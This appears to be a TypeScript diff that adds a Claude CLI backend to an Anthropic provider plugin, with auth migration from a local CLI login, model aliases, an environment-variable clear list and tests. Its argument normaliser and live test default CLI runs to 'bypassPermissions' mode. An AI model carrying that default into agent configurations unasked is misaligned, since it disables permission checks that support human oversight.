`${CLAUDE_CLI_BACKEND_ID}/claude-sonnet-4-5`,
|
||||
`${CLAUDE_CLI_BACKEND_ID}/claude-haiku-4-5`,
|
||||
] as const;
|
||||
|
||||
export const CLAUDE_CLI_MODEL_ALIASES: Record<string, string> = {
|
||||
opus: "opus",
|
||||
"opus-4.6": "opus",
|
||||
"opus-4.5": "opus",
|
||||
"opus-4": "opus",
|
||||
"claude-opus-4-6": "opus",
|
||||
"claude-opus-4-5": "opus",
|
||||
"claude-opus-4": "opus",
|
||||
sonnet: "sonnet",
|
||||
"sonnet-4.6": "sonnet",
|
||||
"sonnet-4.5": "sonnet",
|
||||
"sonnet-4.1": "sonnet",
|
||||
"sonnet-4.0": "sonnet",
|
||||
"claude-sonnet-4-6": "sonnet",
|
||||
"claude-sonnet-4-5": "sonnet",
|
||||
"claude-sonnet-4-1": "sonnet",
|
||||
"claude-sonnet-4-0": "sonnet",
|
||||
haiku: "haiku",
|
||||
"haiku-3.5": "haiku",
|
||||
"claude-haiku-3-5": "haiku",
|
||||
};
|
||||
|
||||
export const CLAUDE_CLI_SESSION_ID_FIELDS = [
|
||||
"session_id",
|
||||
"sessionId",
|
||||
"conversation_id",
|
||||
"conversationId",
|
||||
] as const;
|
||||
|
||||
export const CLAUDE_CLI_HOST_MANAGED_ENV = {
|
||||
CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST: "1",
|
||||
} as const;
|
||||
|
||||
// Claude Code honors provider-routing, auth, and config-root env before
|
||||
// consulting its local login state, so inherited shell overrides must not
|
||||
// steer OpenClaw-managed Claude CLI runs toward a different provider,
|
||||
// endpoint, token source, plugin/config tree, or telemetry bootstrap mode.
|
||||
export const CLAUDE_CLI_CLEAR_ENV = [
|
||||
"ANTHROPIC_API_KEY",
|
||||
"ANTHROPIC_API_KEY_OLD",
|
||||
"ANTHROPIC_AUTH_TOKEN",
|
||||
"ANTHROPIC_BASE_URL",
|
||||
"ANTHROPIC_UNIX_SOCKET",
|
||||
"CLAUDE_CONFIG_DIR",
|
||||
"CLAUDE_CODE_API_KEY_FILE_DESCRIPTOR",
|
||||
"CLAUDE_CODE_ENTRYPOINT",
|
||||
"CLAUDE_CODE_OAUTH_REFRESH_TOKEN",
|
||||
"CLAUDE_CODE_OAUTH_SCOPES",
|
||||
"CLAUDE_CODE_OAUTH_TOKEN",
|
||||
"CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR",
|
||||
"CLAUDE_CODE_PLUGIN_CACHE_DIR",
|
||||
"CLAUDE_CODE_PLUGIN_SEED_DIR",
|
||||
"CLAUDE_CODE_REMOTE",
|
||||
"CLAUDE_CODE_USE_COWORK_PLUGINS",
|
||||
"CLAUDE_CODE_USE_BEDROCK",
|
||||
"CLAUDE_CODE_USE_FOUNDRY",
|
||||
"CLAUDE_CODE_USE_VERTEX",
|
||||
"OTEL_EXPORTER_OTLP_ENDPOINT",
|
||||
"OTEL_EXPORTER_OTLP_HEADERS",
|
||||
"OTEL_EXPORTER_OTLP_LOGS_ENDPOINT",
|
||||
"OTEL_EXPORTER_OTLP_LOGS_HEADERS",
|
||||
"OTEL_EXPORTER_OTLP_LOGS_PROTOCOL",
|
||||
"OTEL_EXPORTER_OTLP_METRICS_ENDPOINT",
|
||||
"OTEL_EXPORTER_OTLP_METRICS_HEADERS",
|
||||
"OTEL_EXPORTER_OTLP_METRICS_PROTOCOL",
|
||||
"OTEL_EXPORTER_OTLP_PROTOCOL",
|
||||
"OTEL_EXPORTER_OTLP_TRACES_ENDPOINT",
|
||||
"OTEL_EXPORTER_OTLP_TRACES_HEADERS",
|
||||
"OTEL_EXPORTER_OTLP_TRACES_PROTOCOL",
|
||||
"OTEL_LOGS_EXPORTER",
|
||||
"OTEL_METRICS_EXPORTER",
|
||||
"OTEL_SDK_DISABLED",
|
||||
"OTEL_TRACES_EXPORTER",
|
||||
] as const;
|
||||
|
||||
const CLAUDE_LEGACY_SKIP_PERMISSIONS_ARG = "--dangerously-skip-permissions";
|
||||
const CLAUDE_PERMISSION_MODE_ARG = "--permission-mode";
|
||||
const CLAUDE_BYPASS_PERMISSIONS_MODE = "bypassPermissions";
|
||||
const CLAUDE_SETTING_SOURCES_ARG = "--setting-sources";
|
||||
const CLAUDE_SAFE_SETTING_SOURCES = "user";
|
||||
|
||||
export function isClaudeCliProvider(providerId: string): boolean {
|
||||
return providerId.trim().toLowerCase() === CLAUDE_CLI_BACKEND_ID;
|
||||
}
|
||||
|
||||
export function normalizeClaudePermissionArgs(args?: string[]): string[] | undefined {
|
||||
if (!args) {
|
||||
return args;
|
||||
}
|
||||
const normalized: string[] = [];
|
||||
let hasPermissionMode = false;
|
||||
for (let i = 0; i < args.length; i += 1) {
|
||||
const arg = args[i];
|
||||
if (arg === CLAUDE_LEGACY_SKIP_PERMISSIONS_ARG) {
|
||||
continue;
|
||||
}
|
||||
if (arg === CLAUDE_PERMISSION_MODE_ARG) {
|
||||
const maybeValue = args[i + 1];
|
||||
if (
|
||||
typeof maybeValue === "string" &&
|
||||
maybeValue.trim().length > 0 &&
|
||||
!maybeValue.startsWith("-")
|
||||
) {
|
||||
hasPermissionMode = true;
|
||||
normalized.push(arg);
|
||||
normalized.push(maybeValue);
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (arg.startsWith(`${CLAUDE_PERMISSION_MODE_ARG}=`)) {
|
||||
hasPermissionMode = true;
|
||||
}
|
||||
normalized.push(arg);
|
||||
}
|
||||
if (!hasPermissionMode) {
|
||||
normalized.push(CLAUDE_PERMISSION_MODE_ARG, CLAUDE_BYPASS_PERMISSIONS_MODE);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
export function normalizeClaudeSettingSourcesArgs(args?: string[]): string[] | undefined {
|
||||
if (!args) {
|
||||
return args;
|
||||
}
|
||||
const normalized: string[] = [];
|
||||
let hasSettingSources = false;
|
||||
for (let i = 0; i < args.length; i += 1) {
|
||||
const arg = args[i];
|
||||
if (arg === CLAUDE_SETTING_SOURCES_ARG) {
|
||||
const maybeValue = args[i + 1];
|
||||
if (
|
||||
typeof maybeValue === "string" &&
|
||||
maybeValue.trim().length > 0 &&
|
||||
!maybeValue.startsWith("-")
|
||||
) {
|
||||
hasSettingSources = true;
|
||||
normalized.push(arg, CLAUDE_SAFE_SETTING_SOURCES);
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (arg.startsWith(`${CLAUDE_SETTING_SOURCES_ARG}=`)) {
|
||||
hasSettingSources = true;
|
||||
normalized.push(`${CLAUDE_SETTING_SOURCES_ARG}=${CLAUDE_SAFE_SETTING_SOURCES}`);
|
||||
continue;
|
||||
}
|
||||
normalized.push(arg);
|
||||
}
|
||||
if (!hasSettingSources) {
|
||||
normalized.push(CLAUDE_SETTING_SOURCES_ARG, CLAUDE_SAFE_SETTING_SOURCES);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
export function normalizeClaudeBackendConfig(config: CliBackendConfig): CliBackendConfig {
|
||||
return {
|
||||
...config,
|
||||
args: normalizeClaudePermissionArgs(normalizeClaudeSettingSourcesArgs(config.args)),
|
||||
resumeArgs: normalizeClaudePermissionArgs(normalizeClaudeSettingSourcesArgs(config.resumeArgs)),
|
||||
};
|
||||
}
|
||||
@@ -1,5 +1,6 @@
|
||||
import type { OpenClawConfig } from "openclaw/plugin-sdk/plugin-entry";
|
||||
import { normalizeProviderId } from "openclaw/plugin-sdk/provider-model-shared";
|
||||
import { CLAUDE_CLI_BACKEND_ID, CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS } from "./cli-shared.js";
|
||||
|
||||
const ANTHROPIC_PROVIDER_API = "anthropic-messages";
|
||||
|
||||
@@ -9,15 +10,24 @@ function resolveAnthropicDefaultAuthMode(
|
||||
): "api_key" | "oauth" | null {
|
||||
const profiles = config.auth?.profiles ?? {};
|
||||
const anthropicProfiles = Object.entries(profiles).filter(
|
||||
([, profile]) => profile?.provider === "anthropic",
|
||||
([, profile]) =>
|
||||
profile?.provider === "anthropic" || profile?.provider === CLAUDE_CLI_BACKEND_ID,
|
||||
);
|
||||
|
||||
const order = [...(config.auth?.order?.anthropic ?? [])];
|
||||
const order = [
|
||||
...(config.auth?.order?.anthropic ?? []),
|
||||
...((config.auth?.order as Record<string, string[] | undefined> | undefined)?.[
|
||||
CLAUDE_CLI_BACKEND_ID
|
||||
] ?? []),
|
||||
];
|
||||
for (const profileId of order) {
|
||||
const entry = profiles[profileId];
|
||||
if (!entry || entry.provider !== "anthropic") {
|
||||
if (!entry || (entry.provider !== "anthropic" && entry.provider !== CLAUDE_CLI_BACKEND_ID)) {
|
||||
continue;
|
||||
}
|
||||
if (entry.provider === CLAUDE_CLI_BACKEND_ID) {
|
||||
return "oauth";
|
||||
}
|
||||
if (entry.mode === "api_key") {
|
||||
return "api_key";
|
||||
}
|
||||
@@ -30,7 +40,10 @@ function resolveAnthropicDefaultAuthMode(
|
||||
([, profile]) => profile?.provider === "anthropic" && profile?.mode === "api_key",
|
||||
);
|
||||
const hasOauth = anthropicProfiles.some(
|
||||
([, profile]) => profile?.mode === "oauth" || profile?.mode === "token",
|
||||
([, profile]) =>
|
||||
profile?.provider === CLAUDE_CLI_BACKEND_ID ||
|
||||
profile?.mode === "oauth" ||
|
||||
profile?.mode === "token",
|
||||
);
|
||||
if (hasApiKey && !hasOauth) {
|
||||
return "api_key";
|
||||
@@ -115,6 +128,23 @@ function isAnthropicCacheRetentionTarget(
|
||||
);
|
||||
}
|
||||
|
||||
function usesClaudeCliModelSelection(config: OpenClawConfig): boolean {
|
||||
const primary = resolveModelPrimaryValue(
|
||||
config.agents?.defaults?.model as
|
||||
| string
|
||||
| { primary?: string; fallbacks?: string[] }
|
||||
| undefined,
|
||||
);
|
||||
const parsedPrimary = primary ? parseProviderModelRef(primary, "anthropic") : null;
|
||||
if (parsedPrimary?.provider === CLAUDE_CLI_BACKEND_ID) {
|
||||
return true;
|
||||
}
|
||||
return Object.keys(config.agents?.defaults?.models ?? {}).some((key) => {
|
||||
const parsed = parseProviderModelRef(key, "anthropic");
|
||||
return parsed?.provider === CLAUDE_CLI_BACKEND_ID;
|
||||
});
|
||||
}
|
||||
|
||||
export function normalizeAnthropicProviderConfig<T extends { api?: string; models?: unknown[] }>(
|
||||
providerConfig: T,
|
||||
): T {
|
||||
@@ -213,6 +243,22 @@ export function applyAnthropicConfigDefaults(params: {
|
||||
}
|
||||
}
|
||||
|
||||
if (authMode === "oauth" && usesClaudeCliModelSelection(params.config)) {
|
||||
const nextModels = defaults.models ? { ...defaults.models } : {};
|
||||
let modelsMutated = false;
|
||||
for (const ref of CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS) {
|
||||
if (ref in nextModels) {
|
||||
continue;
|
||||
}
|
||||
nextModels[ref] = {};
|
||||
modelsMutated = true;
|
||||
}
|
||||
if (modelsMutated) {
|
||||
nextDefaults.models = nextModels;
|
||||
mutated = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (!mutated) {
|
||||
return params.config;
|
||||
}
|
||||
|
||||
@@ -1,13 +1,38 @@
|
||||
import { capturePluginRegistration } from "openclaw/plugin-sdk/testing";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { registerSingleProviderPlugin } from "../../test/helpers/plugins/plugin-registration.js";
|
||||
|
||||
const { readClaudeCliCredentialsForSetupMock, readClaudeCliCredentialsForRuntimeMock } = vi.hoisted(
|
||||
() => ({
|
||||
readClaudeCliCredentialsForSetupMock: vi.fn(),
|
||||
readClaudeCliCredentialsForRuntimeMock: vi.fn(),
|
||||
}),
|
||||
);
|
||||
|
||||
vi.mock("./cli-auth-seam.js", () => {
|
||||
return {
|
||||
readClaudeCliCredentialsForSetup: readClaudeCliCredentialsForSetupMock,
|
||||
readClaudeCliCredentialsForRuntime: readClaudeCliCredentialsForRuntimeMock,
|
||||
};
|
||||
});
|
||||
|
||||
import anthropicPlugin from "./index.js";
|
||||
|
||||
describe("anthropic provider replay hooks", () => {
|
||||
it("registers no cli commands", async () => {
|
||||
it("registers the claude-cli backend", async () => {
|
||||
const captured = capturePluginRegistration({ register: anthropicPlugin.register });
|
||||
|
||||
expect(captured.cliRegistrars).toEqual([]);
|
||||
expect(captured.cliBackends).toContainEqual(
|
||||
expect.objectContaining({
|
||||
id: "claude-cli",
|
||||
bundleMcp: true,
|
||||
config: expect.objectContaining({
|
||||
command: "claude",
|
||||
modelArg: "--model",
|
||||
sessionArg: "--session-id",
|
||||
}),
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("owns native reasoning output mode for Claude transports", async () => {
|
||||
@@ -91,9 +116,117 @@ describe("anthropic provider replay hooks", () => {
|
||||
).toBe("short");
|
||||
});
|
||||
|
||||
it("does not register a Claude CLI auth method", async () => {
|
||||
it("backfills Claude CLI allowlist defaults through plugin hooks for older configs", async () => {
|
||||
const provider = await registerSingleProviderPlugin(anthropicPlugin);
|
||||
|
||||
expect(provider.auth.map((entry) => entry.id)).not.toContain("cli");
|
||||
const next = provider.applyConfigDefaults?.({
|
||||
provider: "anthropic",
|
||||
env: {},
|
||||
config: {
|
||||
auth: {
|
||||
profiles: {
|
||||
"anthropic:claude-cli": { provider: "claude-cli", mode: "oauth" },
|
||||
},
|
||||
},
|
||||
agents: {
|
||||
defaults: {
|
||||
model: { primary: "claude-cli/claude-sonnet-4-6" },
|
||||
models: {
|
||||
"claude-cli/claude-sonnet-4-6": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} as never);
|
||||
|
||||
expect(next?.agents?.defaults?.heartbeat).toMatchObject({
|
||||
every: "1h",
|
||||
});
|
||||
expect(next?.agents?.defaults?.models).toMatchObject({
|
||||
"claude-cli/claude-sonnet-4-6": {},
|
||||
"claude-cli/claude-opus-4-6": {},
|
||||
"claude-cli/claude-opus-4-5": {},
|
||||
"claude-cli/claude-sonnet-4-5": {},
|
||||
"claude-cli/claude-haiku-4-5": {},
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves claude-cli synthetic oauth auth", async () => {
|
||||
readClaudeCliCredentialsForRuntimeMock.mockReset();
|
||||
readClaudeCliCredentialsForRuntimeMock.mockReturnValue({
|
||||
type: "oauth",
|
||||
provider: "anthropic",
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: 123,
|
||||
});
|
||||
|
||||
const provider = await registerSingleProviderPlugin(anthropicPlugin);
|
||||
|
||||
expect(
|
||||
provider.resolveSyntheticAuth?.({
|
||||
provider: "claude-cli",
|
||||
} as never),
|
||||
).toEqual({
|
||||
apiKey: "access-token",
|
||||
source: "Claude CLI native auth",
|
||||
mode: "oauth",
|
||||
});
|
||||
expect(readClaudeCliCredentialsForRuntimeMock).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("resolves claude-cli synthetic token auth", async () => {
|
||||
readClaudeCliCredentialsForRuntimeMock.mockReset();
|
||||
readClaudeCliCredentialsForRuntimeMock.mockReturnValue({
|
||||
type: "token",
|
||||
provider: "anthropic",
|
||||
token: "bearer-token",
|
||||
expires: 123,
|
||||
});
|
||||
|
||||
const provider = await registerSingleProviderPlugin(anthropicPlugin);
|
||||
|
||||
expect(
|
||||
provider.resolveSyntheticAuth?.({
|
||||
provider: "claude-cli",
|
||||
} as never),
|
||||
).toEqual({
|
||||
apiKey: "bearer-token",
|
||||
source: "Claude CLI native auth",
|
||||
mode: "token",
|
||||
});
|
||||
});
|
||||
|
||||
it("stores a claude-cli auth profile during anthropic cli migration", async () => {
|
||||
readClaudeCliCredentialsForSetupMock.mockReset();
|
||||
readClaudeCliCredentialsForSetupMock.mockReturnValue({
|
||||
type: "oauth",
|
||||
provider: "anthropic",
|
||||
access: "setup-access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: 123,
|
||||
});
|
||||
|
||||
const provider = await registerSingleProviderPlugin(anthropicPlugin);
|
||||
const cliAuth = provider.auth.find((entry) => entry.id === "cli");
|
||||
|
||||
expect(cliAuth).toBeDefined();
|
||||
|
||||
const result = await cliAuth?.run({
|
||||
config: {},
|
||||
} as never);
|
||||
|
||||
expect(result?.profiles).toEqual([
|
||||
{
|
||||
profileId: "anthropic:claude-cli",
|
||||
credential: {
|
||||
type: "oauth",
|
||||
provider: "claude-cli",
|
||||
access: "setup-access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: 123,
|
||||
},
|
||||
},
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -5,10 +5,23 @@
|
||||
"modelSupport": {
|
||||
"modelPrefixes": ["claude-"]
|
||||
},
|
||||
"cliBackends": ["claude-cli"],
|
||||
"providerAuthEnvVars": {
|
||||
"anthropic": ["ANTHROPIC_OAUTH_TOKEN", "ANTHROPIC_API_KEY"]
|
||||
},
|
||||
"providerAuthChoices": [
|
||||
{
|
||||
"provider": "anthropic",
|
||||
"method": "cli",
|
||||
"choiceId": "anthropic-cli",
|
||||
"deprecatedChoiceIds": ["claude-cli"],
|
||||
"choiceLabel": "Anthropic Claude CLI",
|
||||
"choiceHint": "Reuse a local Claude CLI login on this host",
|
||||
"assistantPriority": -20,
|
||||
"groupId": "anthropic",
|
||||
"groupLabel": "Anthropic",
|
||||
"groupHint": "Claude CLI + API key"
|
||||
},
|
||||
{
|
||||
"provider": "anthropic",
|
||||
"method": "api-key",
|
||||
@@ -16,7 +29,7 @@
|
||||
"choiceLabel": "Anthropic API key",
|
||||
"groupId": "anthropic",
|
||||
"groupLabel": "Anthropic",
|
||||
"groupHint": "API key + legacy token",
|
||||
"groupHint": "Claude CLI + API key",
|
||||
"optionKey": "anthropicApiKey",
|
||||
"cliFlag": "--anthropic-api-key",
|
||||
"cliOption": "--anthropic-api-key <key>",
|
||||
|
||||
@@ -23,6 +23,14 @@ import {
|
||||
} from "openclaw/plugin-sdk/provider-auth";
|
||||
import { cloneFirstTemplateModel } from "openclaw/plugin-sdk/provider-model-shared";
|
||||
import { fetchClaudeUsage } from "openclaw/plugin-sdk/provider-usage";
|
||||
import * as claudeCliAuth from "./cli-auth-seam.js";
|
||||
import { buildAnthropicCliBackend } from "./cli-backend.js";
|
||||
import { buildAnthropicCliMigrationResult } from "./cli-migration.js";
|
||||
import {
|
||||
CLAUDE_CLI_BACKEND_ID,
|
||||
CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS,
|
||||
CLAUDE_CLI_DEFAULT_MODEL_REF,
|
||||
} from "./cli-shared.js";
|
||||
import {
|
||||
applyAnthropicConfigDefaults,
|
||||
normalizeAnthropicProviderConfig,
|
||||
@@ -210,6 +218,10 @@ function resolveAnthropic46ForwardCompatModel(params: {
|
||||
modelId: trimmedModelId,
|
||||
templateIds,
|
||||
ctx: params.ctx,
|
||||
patch:
|
||||
params.ctx.provider.trim().toLowerCase() === CLAUDE_CLI_BACKEND_ID
|
||||
? { provider: CLAUDE_CLI_BACKEND_ID }
|
||||
: undefined,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -276,14 +288,105 @@ function buildAnthropicAuthDoctorHint(params: {
|
||||
].join("\n");
|
||||
}
|
||||
|
||||
function resolveClaudeCliSyntheticAuth() {
|
||||
const credential = claudeCliAuth.readClaudeCliCredentialsForRuntime();
|
||||
if (!credential) {
|
||||
return undefined;
|
||||
}
|
||||
return credential.type === "oauth"
|
||||
? {
|
||||
apiKey: credential.access,
|
||||
source: "Claude CLI native auth",
|
||||
mode: "oauth" as const,
|
||||
}
|
||||
: {
|
||||
apiKey: credential.token,
|
||||
source: "Claude CLI native auth",
|
||||
mode: "token" as const,
|
||||
};
|
||||
}
|
||||
|
||||
async function runAnthropicCliMigration(ctx: ProviderAuthContext): Promise<ProviderAuthResult> {
|
||||
const credential = claudeCliAuth.readClaudeCliCredentialsForSetup();
|
||||
if (!credential) {
|
||||
throw new Error(
|
||||
[
|
||||
"Claude CLI is not authenticated on this host.",
|
||||
`Run ${formatCliCommand("claude auth login")} first, then re-run this setup.`,
|
||||
].join("\n"),
|
||||
);
|
||||
}
|
||||
return buildAnthropicCliMigrationResult(ctx.config, credential);
|
||||
}
|
||||
|
||||
async function runAnthropicCliMigrationNonInteractive(ctx: {
|
||||
config: ProviderAuthContext["config"];
|
||||
runtime: ProviderAuthContext["runtime"];
|
||||
agentDir?: string;
|
||||
}): Promise<ProviderAuthContext["config"] | null> {
|
||||
const credential = claudeCliAuth.readClaudeCliCredentialsForSetupNonInteractive();
|
||||
if (!credential) {
|
||||
ctx.runtime.error(
|
||||
[
|
||||
'Auth choice "anthropic-cli" requires Claude CLI auth on this host.',
|
||||
`Run ${formatCliCommand("claude auth login")} first.`,
|
||||
].join("\n"),
|
||||
);
|
||||
ctx.runtime.exit(1);
|
||||
return null;
|
||||
}
|
||||
|
||||
const result = buildAnthropicCliMigrationResult(ctx.config, credential);
|
||||
const currentDefaults = ctx.config.agents?.defaults;
|
||||
const currentModel = currentDefaults?.model;
|
||||
const currentFallbacks =
|
||||
currentModel && typeof currentModel === "object" && "fallbacks" in currentModel
|
||||
? currentModel.fallbacks
|
||||
: undefined;
|
||||
const migratedModel = result.configPatch?.agents?.defaults?.model;
|
||||
const migratedFallbacks =
|
||||
migratedModel && typeof migratedModel === "object" && "fallbacks" in migratedModel
|
||||
? migratedModel.fallbacks
|
||||
: undefined;
|
||||
const nextFallbacks = Array.isArray(migratedFallbacks) ? migratedFallbacks : currentFallbacks;
|
||||
|
||||
return {
|
||||
...ctx.config,
|
||||
...result.configPatch,
|
||||
agents: {
|
||||
...ctx.config.agents,
|
||||
...result.configPatch?.agents,
|
||||
defaults: {
|
||||
...currentDefaults,
|
||||
...result.configPatch?.agents?.defaults,
|
||||
model: {
|
||||
...(Array.isArray(nextFallbacks) ? { fallbacks: nextFallbacks } : {}),
|
||||
primary: result.defaultModel,
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
export function registerAnthropicPlugin(api: OpenClawPluginApi): void {
|
||||
const claudeCliProfileId = "anthropic:claude-cli";
|
||||
const providerId = "anthropic";
|
||||
const defaultAnthropicModel = "anthropic/claude-sonnet-4-6";
|
||||
const anthropicOauthAllowlist = [
|
||||
"anthropic/claude-sonnet-4-6",
|
||||
"anthropic/claude-opus-4-6",
|
||||
"anthropic/claude-opus-4-5",
|
||||
"anthropic/claude-sonnet-4-5",
|
||||
"anthropic/claude-haiku-4-5",
|
||||
] as const;
|
||||
api.registerCliBackend(buildAnthropicCliBackend());
|
||||
api.registerProvider({
|
||||
id: providerId,
|
||||
label: "Anthropic",
|
||||
docsPath: "/providers/models",
|
||||
hookAliases: [CLAUDE_CLI_BACKEND_ID],
|
||||
envVars: ["ANTHROPIC_OAUTH_TOKEN", "ANTHROPIC_API_KEY"],
|
||||
deprecatedProfileIds: [claudeCliProfileId],
|
||||
oauthProfileIdRepairs: [
|
||||
{
|
||||
legacyProfileId: "anthropic:default",
|
||||
@@ -291,6 +394,33 @@ export function registerAnthropicPlugin(api: OpenClawPluginApi): void {
|
||||
},
|
||||
],
|
||||
auth: [
|
||||
{
|
||||
id: "cli",
|
||||
label: "Claude CLI",
|
||||
hint: "Reuse a local Claude CLI login and switch model selection to claude-cli/*",
|
||||
kind: "custom",
|
||||
wizard: {
|
||||
choiceId: "anthropic-cli",
|
||||
choiceLabel: "Anthropic Claude CLI",
|
||||
choiceHint: "Reuse a local Claude CLI login on this host",
|
||||
assistantPriority: -20,
|
||||
groupId: "anthropic",
|
||||
groupLabel: "Anthropic",
|
||||
groupHint: "Claude CLI + API key",
|
||||
modelAllowlist: {
|
||||
allowedKeys: [...CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS],
|
||||
initialSelections: [CLAUDE_CLI_DEFAULT_MODEL_REF],
|
||||
message: "Claude CLI models",
|
||||
},
|
||||
},
|
||||
run: async (ctx: ProviderAuthContext) => await runAnthropicCliMigration(ctx),
|
||||
runNonInteractive: async (ctx) =>
|
||||
await runAnthropicCliMigrationNonInteractive({
|
||||
config: ctx.config,
|
||||
runtime: ctx.runtime,
|
||||
agentDir: ctx.agentDir,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: "setup-token",
|
||||
label: "Anthropic setup-token",
|
||||
@@ -303,7 +433,7 @@ export function registerAnthropicPlugin(api: OpenClawPluginApi): void {
|
||||
assistantPriority: 40,
|
||||
groupId: "anthropic",
|
||||
groupLabel: "Anthropic",
|
||||
groupHint: "API key + legacy token",
|
||||
groupHint: "Claude CLI + API key + legacy token",
|
||||
},
|
||||
run: async (ctx: ProviderAuthContext) => await runAnthropicSetupTokenAuth(ctx),
|
||||
runNonInteractive: async (ctx: ProviderAuthMethodNonInteractiveContext) =>
|
||||
@@ -325,13 +455,17 @@ export function registerAnthropicPlugin(api: OpenClawPluginApi): void {
|
||||
choiceLabel: "Anthropic API key",
|
||||
groupId: "anthropic",
|
||||
groupLabel: "Anthropic",
|
||||
groupHint: "API key + legacy token",
|
||||
groupHint: "Claude CLI + API key",
|
||||
},
|
||||
}),
|
||||
],
|
||||
normalizeConfig: ({ providerConfig }) => normalizeAnthropicProviderConfig(providerConfig),
|
||||
applyConfigDefaults: ({ config, env }) => applyAnthropicConfigDefaults({ config, env }),
|
||||
resolveDynamicModel: (ctx) => resolveAnthropicForwardCompatModel(ctx),
|
||||
resolveSyntheticAuth: ({ provider }) =>
|
||||
provider.trim().toLowerCase() === CLAUDE_CLI_BACKEND_ID
|
||||
? resolveClaudeCliSyntheticAuth()
|
||||
: undefined,
|
||||
buildReplayPolicy: buildAnthropicReplayPolicy,
|
||||
isModernModelRef: ({ modelId }) => matchesAnthropicModernModel(modelId),
|
||||
resolveReasoningOutputMode: () => "native",
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
import { definePluginEntry } from "openclaw/plugin-sdk/plugin-entry";
|
||||
import { buildAnthropicCliBackend } from "./cli-backend.js";
|
||||
|
||||
export default definePluginEntry({
|
||||
id: "anthropic",
|
||||
name: "Anthropic Setup",
|
||||
description: "Lightweight Anthropic setup hooks",
|
||||
register() {},
|
||||
register(api) {
|
||||
api.registerCliBackend(buildAnthropicCliBackend());
|
||||
},
|
||||
});
|
||||
|
||||
3
extensions/anthropic/test-api.ts
Normal file
3
extensions/anthropic/test-api.ts
Normal file
@@ -0,0 +1,3 @@
|
||||
export { buildAnthropicCliBackend } from "./cli-backend.js";
|
||||
export { normalizeClaudeBackendConfig } from "./cli-shared.js";
|
||||
export { anthropicMediaUnderstandingProvider } from "./media-understanding-provider.js";
|
||||
@@ -9,15 +9,27 @@ import { extractPayloadText } from "../src/gateway/test-helpers.agent-results.js
|
||||
import { getFreePortBlockWithPermissionFallback } from "../src/test-utils/ports.js";
|
||||
import { GATEWAY_CLIENT_NAMES } from "../src/utils/message-channel.js";
|
||||
|
||||
const DEFAULT_CODEX_ARGS = [
|
||||
"exec",
|
||||
"--json",
|
||||
"--color",
|
||||
"never",
|
||||
"--sandbox",
|
||||
"read-only",
|
||||
"--skip-git-repo-check",
|
||||
const DEFAULT_CLAUDE_ARGS = [
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--include-partial-messages",
|
||||
"--verbose",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
];
|
||||
const DEFAULT_CLEAR_ENV = ["ANTHROPIC_API_KEY", "ANTHROPIC_API_KEY_OLD"];
|
||||
|
||||
function withMcpConfigOverrides(args: string[], mcpConfigPath: string): string[] {
|
||||
const next = [...args];
|
||||
if (!next.includes("--strict-mcp-config")) {
|
||||
next.push("--strict-mcp-config");
|
||||
}
|
||||
if (!next.includes("--mcp-config")) {
|
||||
next.push("--mcp-config", mcpConfigPath);
|
||||
}
|
||||
return next;
|
||||
}
|
||||
|
||||
async function connectClient(params: { url: string; token: string }) {
|
||||
return await new Promise<GatewayClient>((resolve, reject) => {
|
||||
@@ -88,11 +100,16 @@ async function main() {
|
||||
|
||||
const cfg = loadConfig();
|
||||
const existingBackends = cfg.agents?.defaults?.cliBackends ?? {};
|
||||
const codexBackend = existingBackends["codex-cli"] ?? {};
|
||||
const claudeBackend = existingBackends["claude-cli"] ?? {};
|
||||
const cliCommand =
|
||||
process.env.OPENCLAW_LIVE_CLI_BACKEND_COMMAND ?? codexBackend.command ?? "codex";
|
||||
const cliArgs = codexBackend.args ?? DEFAULT_CODEX_ARGS;
|
||||
const cliClearEnv = (codexBackend.clearEnv ?? []).filter((name) => !preservedEnv.has(name));
|
||||
process.env.OPENCLAW_LIVE_CLI_BACKEND_COMMAND ?? claudeBackend.command ?? "claude";
|
||||
let cliArgs = claudeBackend.args ?? DEFAULT_CLAUDE_ARGS;
|
||||
const mcpConfigPath = path.join(tempDir, "claude-mcp.json");
|
||||
await fs.writeFile(mcpConfigPath, `${JSON.stringify({ mcpServers: {} }, null, 2)}\n`);
|
||||
cliArgs = withMcpConfigOverrides(cliArgs, mcpConfigPath);
|
||||
const cliClearEnv = (claudeBackend.clearEnv ?? DEFAULT_CLEAR_ENV).filter(
|
||||
(name) => !preservedEnv.has(name),
|
||||
);
|
||||
const preservedCliEnv = Object.fromEntries(
|
||||
[...preservedEnv]
|
||||
.map((name) => [name, process.env[name]])
|
||||
@@ -105,12 +122,12 @@ async function main() {
|
||||
defaults: {
|
||||
...cfg.agents?.defaults,
|
||||
workspace: workspaceRootDir,
|
||||
model: { primary: "codex-cli/gpt-5.4" },
|
||||
models: { "codex-cli/gpt-5.4": {} },
|
||||
model: { primary: "claude-cli/claude-sonnet-4-6" },
|
||||
models: { "claude-cli/claude-sonnet-4-6": {} },
|
||||
cliBackends: {
|
||||
...existingBackends,
|
||||
"codex-cli": {
|
||||
...codexBackend,
|
||||
"claude-cli": {
|
